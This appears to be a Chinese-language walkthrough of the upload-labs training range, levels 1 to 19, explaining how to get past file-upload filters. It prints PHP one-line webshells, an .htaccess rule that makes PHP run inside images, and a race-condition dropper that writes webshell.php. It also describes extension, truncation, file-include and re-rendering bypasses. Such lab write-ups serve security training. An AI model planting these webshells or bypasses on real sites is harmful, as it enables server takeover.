upload-labs(1-19关)通关攻略
Pass-01
本关思路:删除前端js校验
进入第一关环境
桌面新建一个php文件,命名为1.php
<?php @eval($_POST[a]);?>
我们上传此文件,发现不允许上传,且页面没有变化,说明前端进行了拦截
这时我们打开 F12 ,小箭头定位到上传框,发现上面有一个检查的方法,删除后再次上传试试
这样我们就能上传成功
鼠标右键在新标签页打开图像,测试能否使用菜刀连接,也可以使用下面的方法检测
Pass-02
本关思路:抓包 修改文件类型
首先查看源码
选择文件,使用bp抓取上传的请求包
将选中位置的数据类型修改为 image/jpeg ,放行,然后返回浏览器
这样就能上传成功了
鼠标右键在新标签页打开图像,测试能否使用菜刀连接,也可以使用下面的方法检测
Pass-03
本关思路:上传同类型后缀名.php3
查看源码
上传此文件
上传成功,新建标签页打开图像,检查能否连接
Pass-04
本关思路:上传.htaccess配置文件
首先创建一个.htaccess文件(文件名就为.htaccess)内容如下
AddType application/x-httpd-php .png
查看源码
意思就是如果文件里面有一个后缀为.png的文件,他就会被解析成.php。先上传一个1.png文件,然后上传这个.htaccess,再访问1.png
Pass-05
本关思路:大小写绕过
查看源码,发现这一关没有对大小写进行限制
将后缀名中的一个 p 大写,改为1.Php,上传文件
上传成功,再次访问1.Php
Pass-06
本关思路:抓包 空格绕过
查看源码,发现这一关没有收尾去空限制
我们在文件后面加上空格,但由于windows特性,文件名后空格会被直接删除,不能直接上传.php后加空格,所以我们要用burp抓包然后再添加空格
点击放行,上传成功
再次访问1.php
Pass-07
本关思路:抓包点绕过
查看源码,发现少了删除文件末尾的点
和第六关一样,windows文件后缀名不能加’.',一样使用burp抓包然后后缀加一个点
点击放行,上传成功
再次访问1.php
Pass-08
本关思路:抓包 ::$DATA绕过
查看源码
发现少了去除字符串,和前面关卡一样,在burp中抓包在文件名后加::$DATA
点击放行,上传成功
再次访问1.php
Pass-09
本关思路:抓包 点空格点绕过
查看源码
发现没有循环验证,也就是说转换大小写去除空格什么的它只验证一次,在burp中抓包在文件名后加:. .
点击放行,上传成功
再次访问1.php
Pass-10
本关思路:重复写绕过
查看源码
发现没有了前几关的验证方式,而且是一个黑名单验证,意思是如果上传了它这些后缀的文件,就会把后缀名删除,没了后缀名也就无法正常解析,不过不需要着急,这关同样只验证一次,所以我们只需要把后缀改为.pphphp,它删除掉中间的php后后缀仍然为php
点击上传,发现上传成功
鼠标右键在新标签页打开图像
Pass-11
本关思路:get型 %00截断绕过
查看源码
很明显是一个白名单上传,它只允许上传它给定的后缀名,这里我的环境出现问题不能使用,替换的靶场为ctfhub上的00截断:CTFHub
进入环境
上传1.png文件,使用bp抓取上传的请求包
其中 /var/www/html/ 为网站的根目录,按下图修改
点击放行,上传成功
蚁剑连接
双击打开,就能获得flag
Pass-12
本关思路:post型 %00截断绕过
查看源码
与上一关相比,发现接受值变成了post,那么思路就和第十一关一样
抓包试试
post方式不会自行解码,所以要对%00进行urldecode编码,burp可以进行快捷编码,选中%00右键convert selection即可进行快速url编码
后面操作和前一关一样
Pass-13
本关思路:文件包含图片马绕过
根据提示可知本关需要文件包含漏洞+图片马组合使用
图片马单靠自己没用,需要一个有文件包含漏洞的php文件将图片马包含到自己的页面上
新建一个1.jpg文件,在第一行添加.gif的开头:GIF89a,后面是一句话木马
上传此文件
上传成功,在新标签页打开图像,发现后缀变为.gif
此时需要搭配文件包含漏洞使用
访问 include.php
会发现提交方式为:get型的file,直接在网址后面加以下代码
?file=upload/8420241219180851.gif
测试连接
Pass-14
本关思路:文件包含图片马绕过
这一关与上一关流程一样,上传1.jpg,在新标签页打开图像
我们也可以尝试蚁剑连接
测试连接--连接成功
Pass-15
本关思路:文件包含图片马绕过
同13,14关
Pass-16
本关思路:文件包含二次渲染专用图绕过
尝试和之前一样的操作:上传1.jpg文件
报错,查看源码
imagecreatefromjpeg()函数,二次渲染是由Gif文件或 URL创建一个新图象。成功则返回一图像标识符/图像资源,失败则返回false,导致图片马的数据丢失,上传图片马失败
这里我们必须使用二次渲染专用图:文件上传之二次渲染(专用图).zip - 蓝奏云
上传解压后的.gif文件,发现上传成功
鼠标右键在新标签页打开图像
复制 upload/14713.gif ,访问 include.php ,在网址后面加上以下代码
?file=upload/14713.gif
我们在蚁剑连接前首先要得到一句话木马的连接密码:在记事本中打开二次渲染专用图22.gif
<?php @eval($_POST['zoe']);?>
尝试蚁剑连接
连接成功
Pass-17
本关思路:抓包 爆破条件竞争
查看源码
发现如果上传的符合它的白名单,那就进行重命名,如果不符合,直接删除!解析的机会都没有,这让我想到了条件竞争,如果我在它删除之前就访问这个文件,他就不会删除了
上传一个php文件,然后burp抓包发到爆破模块
不添加payload位置
开始攻击,然后用浏览器一直访问1.php,按F5一直刷新,如果在上传的瞬间访问到了,它就无法删除
将1.php改为以下内容
<?php fputs(fopen('webshell.php','w'),'<?php @eval($_POST["cmd"])?>');?>
上传这个php文件,重复bp抓包后的流程,就能得到一个webshell.php文件
Pass-18
本关思路:上传二次渲染的图片马 文件包含漏洞
查看源码
发现和第17关的差距是,这关还检测了后缀名,不能直接上传php文件,所以这关要上传图片马,其他步骤和17关类似。访问图片时使用文件包含
我们上传图片马 22.gif,使用bp抓包,发送到攻击模块,和17关一样的操作,开始攻击
然后用浏览器一直访问22.gif,按F5一直刷新,如果在上传的瞬间访问到了,它就无法删除
Pass-19
本关思路:文件名命名规范
看到19关的页面,多了一个保存名称,没有对上传的文件做判断,只对用户输入的文件名做判断
查看源码
有move_uploaded_file()这样一个函数,它有一个特性,会忽略到文件末尾的/.
直接上传1.php,保存名称为2.php,抓包,在末尾加上/.
点击放行,上传成功,右键在新标签页打开图像